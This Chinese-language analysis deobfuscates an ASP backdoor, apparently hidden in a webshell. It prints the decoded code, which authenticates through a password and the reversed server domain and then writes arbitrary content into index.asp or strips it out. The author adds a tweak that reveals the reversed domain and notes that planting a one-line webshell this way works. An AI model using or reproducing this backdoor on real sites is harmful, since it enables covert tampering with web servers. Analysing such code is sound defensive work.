Function Xo(e):e=R(e,”対”,Chr(34)):For psI=1 To Len(e):If Mid(e,psI,1)<>“奌” Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
可以看到她还调用了函数R,搜索下这个函数,代码如下
Function R(a,b,c):R = Replace(a,b,c):End Function
就是一个替换语句,Chr(34)的字符是”,那么把R的内容代入Xo,那么XO函数代码就为
Function Xo(e):e=Replace(e,”対”,Chr(34))::For psI=1 To Len(e):If Mid(e,psI,1)<>“奌” Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function
if session(“webc0fig”)<>UserPass then if request(“ps0”)<>“” then if request(“ps0”)=UserPass and StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”),”.”,””))=Request(“c”) then a=trim(request(“a”)) t=trim(request(“t”)) p=WWWRoot&p if a<>“” and t<>“” then w(0) Response.End() function w(zo) On Error Resume Next if t = 1 then b=s c=a&s if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1) else b=a c=”” end if if V(R(M(p,z)(1),b,c),p,z)(1) then RRS “” if Err.Number = 0 Then RRS “00” else RRS Err.Description end if Err.Clear) end function end if session(“webc0fig”)=UserPass session(“idx”)=2 Session(“FolderPath”)=”” response.redirect url else Response.End() end if
上面的2个函数就是最后一个加密函数Xo加密的内容。 为了方便先将上面的2个函数去掉,整理一下代码。
If Session(“webc0fig”) <> UserPass Then If request(“ps0”) <> “” Then If request(“ps0”) = UserPass And StrReverse(Replace(request.ServerVariables(“SERVER_NAME”), “.”, “”)) = request(“c”) Then a = Trim(request(“a”)) t = Trim(request(“t”)) p = WWWRoot & p If a <> “” And t <> “” Then w (0) Response.End() End If Session(“webc0fig”) = UserPass Session(“idx”) = 2 Session(“FolderPath”) = “” Response.redirect url Else Response.End() End If
If Session(“webc0fig”) <> UserPass Then If Request(“ps0”) <> “” Then If Request(“ps0”) = UserPass And StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”), “.”, “”)) = Request(“c”) Then a = Trim(Request(“a”)) t = Trim(Request(“t”)) p=WWWRoot&p If a <> “” And t <> “” Then w (0) Response.End() End If Session(“webc0fig”) = UserPass Session(“idx”) = 2 Session(“FolderPath”) = “” Response.redirect url Else Response.End() End If Function R(a, b, c) R = Replace(a, b, c) End Function Function w(zo) On Error Resume Next If t = 1 Then b = s c = a & s if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1) Else b = a c = “” End If If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “” If Err.Number = 0 Then RRS “00” Else RRS Err.Description End If Err.Clear End Function Function V(strBody, File, u) RText = Array(0, “”) Set objStream = Server.CreateObject(“ADODB.Stream”) With objStream .Type = 2 .Open .Charset = u .Position = objStream.Size .WriteText = strBody On Error Resume Next .SaveToFile File, 2 If Err Then RText = Array(Err.Number, Err.Description) V = RText Err.Clear Exit Function End If .Close End With RText = Array(0, True) V = RText Set objStream = Nothing End Function Function M(File, u) RText = Array(0, “”) Set objStream = Server.CreateObject(“ADODB.Stream”) With objStream .Type = 2 .Mode = 3 .Open .Charset = u .Position = objStream.Size On Error Resume Next .LoadFromFile File If Err Then RText = Array(Err.Number, Err.Description) M = RText Err.Clear Exit Function End If RText = Array(0, .ReadText) .Close End With M = RText Set objStream = Nothing End Function
上面说过登陆时要反转域名,如果一个一个的来很是麻烦,那么我们可以在
Else Response.End() End If
这个地方插入一句话
Else ssss=StrReverse(Replace(Request.ServerVariables(“SERVER_NAME”),”.”,””)) response.write ssss Response.End() End If
Function M(File, u) RText = Array(0, “”) Set objStream = Server.CreateObject(“ADODB.Stream”) With objStream .Type = 2 .Mode = 3 .Open .Charset = u .Position = objStream.Size On Error Resume Next .LoadFromFile File If Err Then RText = Array(Err.Number, Err.Description) M = RText Err.Clear Exit Function End If RText = Array(0, .ReadText) .Close End With M = RText Set objStream = Nothing End Function
Function V(strBody, File, u) RText = Array(0, “”) Set objStream = Server.CreateObject(“ADODB.Stream”) With objStream .Type = 2 .Open .Charset = u .Position = objStream.Size .WriteText = strBody On Error Resume Next .SaveToFile File, 2 If Err Then RText = Array(Err.Number, Err.Description) V = RText Err.Clear Exit Function End If .Close End With RText = Array(0, True) V = RText Set objStream = Nothing End Function
Function w(zo) On Error Resume Next If t = 1 Then b = s c = a & s if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1) Else b = a c = “” End If If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “” If Err.Number = 0 Then RRS “00” Else RRS Err.Description End If Err.Clear End Function
t值是需要我们输入的,在这里其实是一个开关的作用。 现在我们看语句 如果T=1,那么 b=s,即b=”” c = a & s, 即c=”test“,也就是将a值放在之前。 if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1) 上面分析了,M为读取文件函数,那么M(p,z)(1),的作用就是读取index.asp的内容,然后用instr函数查找”“,如果没有的话,就在文件末尾写入a值。 如果T不等于1,那么 b=a ,即b=”test“ c = “” 现在看 If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “” 这个语句很巧妙,由于函数r就是一个replace,所以V(R(M(p, z)(1), b, c), p, z)(1) 的作用就是在index.asp中将B替换成c。 如果t=1,那么就将”“替换成”test“,相对于在index.asp中插入test,如果index.asp中没有”“呢,上面说过的if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1) 就将完成这个将b写在末尾的任务。不管有没有”“,都将写入a值到文件。 如果T不等于1呢?那么If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS “”将把a值替换掉。 他还有一个功能就是,由于保存函数是在最外层的,那么如果index.asp不存在的话,那么函数r无法读取文件,但是这个函数并没有为空,而是将出错信息作为函数r的结果,那么函数v再保存的话,就相对于新建了一个index.asp。 总之,不管有没有index.asp都将成功写入a值,不管有没有“”也将成功写入a值,这个函数设计的是相对不错的。 好了,到现在,这个函数的功能基本就清楚了。 T是开关,如果T=1,那么将写入a值到index.asp 如果不等于1,那么将从index.asp中清除a值。 测试了一下,写个一句话进去也是可以的。